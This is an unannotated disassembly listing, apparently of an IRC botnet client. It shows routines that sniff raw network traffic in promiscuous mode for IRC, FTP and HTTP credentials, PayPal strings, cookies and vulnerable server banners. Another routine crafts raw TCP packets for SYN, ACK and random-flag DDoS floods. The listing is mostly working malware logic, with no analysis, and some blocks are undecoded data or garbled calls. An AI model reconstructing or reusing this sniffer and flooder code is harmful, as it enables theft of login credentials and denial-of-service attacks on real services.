		dd 0FEFD4C85h, 505756FFh, 0FFFC75FFh, 4CB66C15h, 0FFF88300h
		dd 0FC840Fh, 0BD800000h, 0FFFEFD55h, 8BC67506h,	0FEFD5885h
		dd 6DBD80FFh, 18FFFEFDh, 75F44589h, 74858DB4h, 68FFFEFDh
		dd 435E84h, 96EAE850h, 85590000h, 9D7559C0h, 0FD74858Dh
		dd 7468FFFEh, 5000435Eh, 96D3E8h, 0C0855900h, 8B867559h
		dd 85FF33C3h, 7A840FC0h, 89FFFFFFh, 8D50085Dh, 0FEFD7485h
		dd 0B1E850FFh, 59000096h, 7559C085h, 4583470Fh,	458B1808h
		dd 0E9E37508h, 0FFFFFF55h, 0FD74858Dh, 0FF50FFFEh, 0FEFD60B5h
		dd 8415FFFFh, 0F004CB5h, 0FF50C0B7h, 15FFF475h,	4CB6E0h
		dd 7F048D50h, 0BCC5048Bh, 0FF004355h, 55988534h, 858D0043h
		dd 0FFFFFD4Ch, 435E4068h, 2006800h, 0E8500000h,	96D4h
		dd 391CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh,	8D50D475h
		dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF77A2E8h, 14C483FFh
		dd 0FD4C858Dh, 0E850FFFFh, 2ECDh, 0FED3E959h, 15FFFFFFh
		dd 4CB5E8h, 5E146850h, 858D0043h, 0FFFFFD4Ch, 20068h, 7DE85000h
		dd 83000096h, 753910C4h, 20755BD8h, 4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF774AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 2E75h, 0FC75FF59h
		dd 0B6EC15FFh, 75FF004Ch, 90C9E8D0h, 5659FFFFh,	0DCAEE890h
		db 2Dh,	2

; =============== S U B	R O U T	I N E =======================================



sub_412352	proc near		; CODE XREF: sub_412661+213p
					; sub_412661+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE3C0, eax
		mov	eax, offset dword_4CE3C0
		retn
sub_412352	endp


; =============== S U B	R O U T	I N E =======================================



sub_412361	proc near		; CODE XREF: sub_412661+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237B


loc_412377:				; CODE XREF: sub_412361+29j
					; sub_412361+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237B:				; CODE XREF: sub_412361+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C3


loc_4123BF:				; CODE XREF: sub_412361+71j
					; sub_412361+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C3:				; CODE XREF: sub_412361+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412361	endp


; =============== S U B	R O U T	I N E =======================================



sub_412478	proc near		; CODE XREF: sub_412661+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412492


loc_41248E:				; CODE XREF: sub_412478+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412492:				; CODE XREF: sub_412478+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248E
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B8


loc_4124B4:				; CODE XREF: sub_412478+4Fj
					; sub_412478+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B8:				; CODE XREF: sub_412478+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412478	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124EE	proc near		; CODE XREF: sub_412661+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412508


loc_412504:				; CODE XREF: sub_4124EE+29j
					; sub_4124EE+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412508:				; CODE XREF: sub_4124EE+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253F


loc_41253B:				; CODE XREF: sub_4124EE+60j
					; sub_4124EE+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253F:				; CODE XREF: sub_4124EE+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_412575	proc near		; CODE XREF: sub_412661+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258F


loc_41258B:				; CODE XREF: sub_412575+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258F:				; CODE XREF: sub_412575+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258B
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B5


loc_4125B1:				; CODE XREF: sub_412575+4Fj
					; sub_412575+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B5:				; CODE XREF: sub_412575+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412575	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FC	proc near		; CODE XREF: sub_412661:loc_412A26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412616


loc_412612:				; CODE XREF: sub_4125FC+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412616:				; CODE XREF: sub_4125FC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412612
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263C


loc_412638:				; CODE XREF: sub_4125FC+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263C:				; CODE XREF: sub_4125FC+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412638
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412661	proc near		; DATA XREF: sub_401ACD+427Do

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB668
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB6D8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412707
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412707:				; CODE XREF: sub_412661+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277D
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_4361C0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412759
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_412759:				; CODE XREF: sub_412661+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_41277D:				; CODE XREF: sub_412661+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB600
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412803
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436190
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DF
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_4127DF:				; CODE XREF: sub_412661+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop


loc_412803:				; CODE XREF: sub_412661+13Cj
		mov	esi, 200h


loc_412808:				; CODE XREF: sub_412661+1D6j
					; sub_412661+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB66C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412808
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412808
		cmp	[ebp+arg_0], 19h
		jz	short loc_412808
		cmp	edi, 6Eh
		jz	short loc_412808
		cmp	edi, 19h
		jz	short loc_412808
		push	[ebp+var_113AC]
		call	sub_412352
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412352
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412906


loc_4128D2:				; CODE XREF: sub_412661+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E9
		mov	byte ptr [eax],	20h


loc_4128E9:				; CODE XREF: sub_412661+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F1
		mov	byte ptr [eax],	20h


loc_4128F1:				; CODE XREF: sub_412661+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D2


loc_412906:				; CODE XREF: sub_412661+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B9
		cmp	edi, 50h
		jz	loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412361
		test	al, al
		pop	ecx
		jz	short loc_41294D
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43615C
		jmp	loc_4129E8
; ---------------------------------------------------------------------------


loc_41294D:				; CODE XREF: sub_412661+2C7j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412478
		test	al, al
		pop	ecx
		jz	short loc_412983
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436128
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_412983:				; CODE XREF: sub_412661+300j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124EE
		test	al, al
		pop	ecx
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360F4
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_4129B9:				; CODE XREF: sub_412661+2A9j
					; sub_412661+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412575
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A26
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4360BC


loc_4129E8:				; CODE XREF: sub_412661+2E7j
					; sub_412661+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412808
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_412808
; ---------------------------------------------------------------------------


loc_412A26:				; CODE XREF: sub_412661+36Ej
		call	sub_4125FC
		test	al, al
		pop	ecx
		jz	loc_412808
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436084
		jmp	short loc_4129E8
sub_412661	endp

; ---------------------------------------------------------------------------
dword_412A54	dd 81EC8B55h, 494ECh, 8458B00h,	0A5B95756h, 8B000000h
					; DATA XREF: sub_401ACD+6543o
		dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 90000000h
		dd 28DDF0E8h, 51E85002h, 8D00008Eh, 0FFFE7485h,	858D50FFh
		dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh
		dd 398h, 5014C483h, 0FB6C858Dh,	0EC68FFFFh, 50004361h
		dd 8DC9E8h, 83F63300h, 75390CC4h, 562075F8h, 0FB6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFEF4h, 6CB5FF50h,	0E8FFFFFDh
		dd 0FFFF6F8Fh, 8D14C483h, 0FFFB6C85h, 0BAE850FFh, 0FF000026h
		dd 0FFFD70B5h, 8915E8FFh, 5959FFFFh, 0F9E89056h, 5F022DD4h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B09	proc near		; CODE XREF: ___:00412E80p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_412B49
		xor	eax, eax
		jmp	loc_412E3C
; ---------------------------------------------------------------------------


loc_412B49:				; CODE XREF: sub_412B09+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E34
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB634
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E2A
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB654
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB654
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB654
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB654
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB650
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C19
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C19:				; CODE XREF: sub_412B09+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C35
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412B09+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6D
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6D:				; CODE XREF: sub_412B09+10Ej
					; sub_412B09+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB654
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2790A92h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBB:				; CODE XREF: sub_412B09+2E2j
					; sub_412B09+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB654
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFE
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2790A92h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E27
		jl	loc_412CBB
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E27
		jmp	loc_412CBB
; ---------------------------------------------------------------------------


loc_412DFE:				; CODE XREF: sub_412B09+2CBj
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_436214
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_412E2A
; ---------------------------------------------------------------------------


loc_412E27:				; CODE XREF: sub_412B09+2E0j
					; sub_412B09+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E2A:				; CODE XREF: sub_412B09+78j
					; sub_412B09+31Cj
		push	[ebp+var_20]
		call	dword_4CB6EC
		pop	esi


loc_412E34:				; CODE XREF: sub_412B09+5Bj
		call	dword_4CB5AC
		mov	eax, ebx


loc_412E3C:				; CODE XREF: sub_412B09+3Bj
		pop	edi
		pop	ebx
		leave
